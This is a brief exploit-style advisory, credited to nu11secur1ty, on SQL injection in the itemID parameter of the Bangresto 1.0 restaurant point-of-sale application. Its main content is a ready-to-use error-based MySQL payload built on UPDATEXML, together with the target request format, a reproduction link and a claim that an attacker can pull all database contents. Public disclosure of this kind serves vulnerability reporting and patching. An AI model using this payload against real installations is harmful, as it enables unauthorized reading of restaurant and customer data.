Bangresta 1.0 SQL Injection

## Title: Bangresto 1.0 SQLi## Author: nu11secur1ty## Date: 12.16.2022## Vendor: https://axcora.com/, https://www.hockeycomputindo.com/2021/05/restaurant-pos-source-code-free.html## Demo: https://axcora.my.id/bangrestoapp/start.php## Software: https://github.com/mesinkasir/bangresto## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Bangresto## Description:The `itemID` parameter appears to be vulnerable to SQL injection attacks.The payload ' was submitted in the itemID parameter, and a databaseerror message was returned.The attacker can be stooling all information from the database of thisapplication.## STATUS: CRITICAL Vulnerability[+] Payload:```MySQL---Parameter: itemID (GET)    Type: error-based    Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)    Payload: itemID=(UPDATEXML(2539,CONCAT(0x2e,0x7171767871,(SELECT(ELT(2539=2539,1))),0x7170706a71),2327))&menuID=1---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Bangresto)## Proof and Exploit:[href](https://streamable.com/moapnd)## Time spent`00:30:00`